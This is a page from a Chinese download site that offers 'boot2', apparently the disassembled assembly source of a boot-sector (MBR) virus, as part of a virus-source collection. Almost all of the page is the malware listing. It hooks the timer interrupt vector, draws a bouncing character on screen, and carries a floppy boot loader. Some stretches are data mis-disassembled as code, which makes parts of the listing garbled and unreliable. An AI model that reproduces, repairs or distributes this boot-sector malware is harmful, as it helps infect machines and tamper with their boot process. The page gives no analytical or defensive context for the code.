⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 boot2主引导区病毒的源码 .txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
name boot2_asm 

.radix 16 



n_000100: 

inc word ptr [7DF3] 

mov bx,[7DF3] 

add byte ptr [7EB2],2 

call n_FFFF9D 

jmp short n_00014B 



n_000112: 

mov ax,3 

test byte ptr [7DF7],4 

je n_00011D 

inc ax 

n_00011D: 

mul si 

shr ax,1 

sub ah,byte ptr [7EB2] 

mov bx,ax 

cmp bx,1FF 

jnb n_000100 

mov dx,[bx+8000] 

test byte ptr [7DF7],4  

jne n_000145 

mov cl,4 

test si,1 

je n_000142 

shr dx,cl 

n_000142: 

and dh,0F 

n_000145: 

test dx,0FFFF 

jz n_000151 

n_00014B: 

inc si 

cmp si,di 

jbe n_000112 

ret 



n_000151: 

mov dx,0FFF7 

test byte ptr [7DF7],4 

jnz n_000168 

and dh,0F 

mov cl,4 

test si,1 

je n_000168 

shl dx,cl 

n_000168: 

or [bx+8000],dx 

mov bx,[7DF3] 

call n_FFFF98 

mov ax,si 

sub ax,2 

mov bl,byte ptr [7C0Dh] 

xor bh,bh 

mul bx 

add ax,[7DF5] 

mov si,ax 

mov bx,0 

call n_FFFF9D 

mov bx,si 

inc bx 

call n_FFFF98 

mov bx,si 

mov [7DF9],si 

push cs 

pop ax 

sub ax,20 

mov es,ax 

call n_FFFF98 

push cs 

pop ax 

sub ax,40 

mov es,ax 

mov bx,0 

call n_FFFF98 

ret 



mov ch,23 

add dh,dh 

push es 

idiv word ptr [di+2] 

jne n_0001DE 

or byte ptr [7DF7],2 

mov ax,0 

mov ds,ax 

mov ax,[20] 

mov bx,[22] 

mov [20],7EDF 

mov [22],cs 

push cs 

pop ds 

mov [7FC9],ax 

mov [7FCBh],bx 

n_0001DE: 

ret 



push ds 

push ax 

push bx 

push cx 

push dx 

push cs 

pop ds 

mov ah,0F ;Get video mode 

int 10 

mov bl,al 

cmp bx,[7FD4] 

je n_000227 

mov [7FD4],bx 

dec ah 

mov byte ptr [7FD6],ah 

mov ah,1 

cmp bl,7 

jne n_000205 

dec ah 

n_000205: 

cmp bl,4 

jnb n_00020C 

dec ah 

n_00020C: 

mov byte ptr [7FD3],ah 

mov word ptr [7FCF],101 

mov word ptr [7FD1],101 

mov ah,3 ;Read cursor position 

int 10 

push dx 

mov dx,[7FCF] 

jmp short n_00024A 



n_000227: 

mov ah,3 ;Read cursor position 

int 10 

push dx 

mov ah,2 ;Set cursor position 

mov dx,[7FCF] 

int 10 

mov ax,[7FCDh] 

cmp byte ptr [7FD3],1 

jne n_000241 

mov ax,8307 

n_000241: 

mov bl,ah 

mov cx,1 

mov ah,9 ;Write character with attribute 

int 10 

n_00024A: 

mov cx,[7FD1] 

cmp dh,0 

jne n_000258 

xor ch,0FF 

inc ch 

n_000258: 

cmp dh,18 

jne n_000262 

xor ch,0FF 

inc ch 

n_000262: 

cmp dl,0 

jne n_00026C 

xor cl,0FF 

inc cl 

n_00026C: 

cmp dl,byte ptr [7FD6] 

jne n_000277 

xor cl,0FF 

inc cl 

n_000277: 

cmp cx,[7FD1] 

jne n_000294 

mov ax,[7FCDh] 

and al,7 

cmp al,3 

jne n_00028B 

xor ch,0FF 

inc ch 

n_00028B: 

cmp al,5 

jne n_000294 

xor cl,0FF 

inc cl 

n_000294: 

add dl,cl 

add dh,ch 

mov [7FD1],cx 

mov [7FCF],dx 

mov ah,2 ;Set cursor position 

int 10 

mov ah,8 ;Read character with attribute 

int 10 

mov [7FCDh],ax 

mov bl,ah 

cmp byte ptr [7FD3],1 

jne n_0002B6 

mov bl,83 

n_0002B6: 

mov cx,1 

mov ax,907 ;Write character '\7' with attribute 

int 10 

pop dx 

mov ah,2 ;Set cursor position 

int 10 

pop dx 

pop cx 

pop bx 

pop ax 

pop ds 

jmp far ptr f_000020 



add byte ptr [bx+si],al 

add word ptr [bx+di],ax 

add word ptr [bx+di],ax 

add bh,bh 

call word ptr [bx+si-49] 

mov bh,0B7 

mov dh,40 

inc ax 

mov dh,bl 

out 5A,al 

lodsb 

shl ah,cl 

jmp far ptr f_0F05E6 



db '@d\`R@@@@db^b`' 



pop si 

jo n_000368 

inc ax 

inc cx 

mov bh,0B7 

mov bh,0B6 

jmp n_000336 



db 'IBM 3.3' 

dw 200 

db 2 

dw 1 

db 2 

dw 70 

dw 2D0 

db 0FDh 

dw 2 

dw 9 

dw 2 

dw 0 



db 0011h dup (000h) 

adc al,byte ptr [bx][si] 

add byte ptr [bx][si],al 

add byte ptr [bx][di],al 

add dl,bh 



boot2: 

xor ax,ax 

mov ss,ax 

mov sp,7C00 

push ss 

pop es 

mov bx,78 

lds si,ss:[bx] 

push ds 

push si 

push ss 

push bx 

mov di,7C2Bh 

mov cx,0Bh 

cld 

n_000351: 

lodsb 

cmp byte ptr es:[di],0 

je n_00035B 

mov al,byte ptr es:[di] 

n_00035B: 

stosb 

mov al,ah 

loop n_000351 

push es 

pop ds 

mov [bx+2],ax 

mov [bx],7C2Bh 

sti 

int 13 

jc n_0003D5 

mov al,byte ptr [7C10] 

cbw 

mul word ptr [7C16] 

add ax,[7C1C] 

add ax,[7C0E] 

mov [7C3F],ax 

mov [7C37],ax 

mov ax,20 

mul word ptr [7C11] 

mov bx,[7C0Bh] 

add ax,bx 

dec ax 

div bx 

add [7C37],ax 

mov bx,500 

mov ax,[7C3F] 

call n_000440 

mov ax,201 

call n_00045A 

jb n_0003C2 

mov di,bx  

mov cx,0Bh 

mov si,7DD6 

rep cmpsb 

jne n_0003C2 

lea di,[bx+20] 

mov si,7DE1 

mov cx,0Bh 

rep cmpsb 

je n_0003DA 

n_0003C2: 

mov si,7D77 

n_0003C5: 

call n_000432 

xor ah,ah 

int 16 

pop si 

pop ds 

pop [si] 

pop [si+2] 

int 19 



n_0003D5: 

mov si,7DC0 

jmp n_0003C5 



n_0003DA: 

mov ax,[51C] 

xor dx,dx 

div word ptr [7C0Bh] 

inc al 

mov [7C3C],al 

mov ax,[7C37] 

mov [7C3Dh],ax 

mov bx,700 

n_0003F1: 

mov ax,[7C37] 

call n_000440 

mov ax,[7C18] 

sub al,[7C3Bh] 

inc ax 

cmp [7C3C],al 

jnb n_000408 

mov al,[7C3Ch] 

n_000408: 

push ax 

call n_00045A 

pop ax 

jb n_0003D5 

sub [7C3C],al 

je n_000421 

add [7C37],ax 

mul word ptr [7C0Bh] 

add bx,ax 

jmp n_0003F1 

n_000421: 

mov ch,[7C15] 

mov dl,[7DFDh] 

mov bx,[7C3Dh] 

jmp far ptr f_000700 



n_000432: 

lodsb 

or al,al 

je n_000459 

mov ah,0E ;Write character in TTY graphics mode 

mov bx,7 

int 10 

jmp n_000432 



n_000440: 

xor dx,dx 

div word ptr [7C18] 

inc dl 

mov [7C3Bh],dl 

xor dx,dx 

div word ptr [7C1A] 

mov [7C2A],dl 

mov [7C39],ax 

n_000459: 

ret 



n_00045A: 

mov ah,2 

mov dx,[7C39] 

mov cl,6 

shl dh,cl 

or dh,[7C3Bh] 

mov cx,dx 

xchg ch,cl 

mov dl,[7DFDh] 

mov dh,[7C2A] 

int 13 

ret 



db 0Dh,0A,'Non-System disk or disk error',0Dh,0A 

db 'Replace and strike any key when ready',0Dh,0A,0 

db 0Dh,0A,'Disk Boot failure',0Dh,0A,0 

db 'IBMBIO SYS' 

db 'IBMDOS SYS' 

db 12 dup (0) 

dw 0AA55 



extrn f_000020:far,n_000336:near,n_000368:near 

extrn n_FFFF9D:near,n_FFFF98:near 

extrn f_000700:far,f_0F05E6:far,f_3FFF98:far 

extrn f_3FFF9D:far  

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -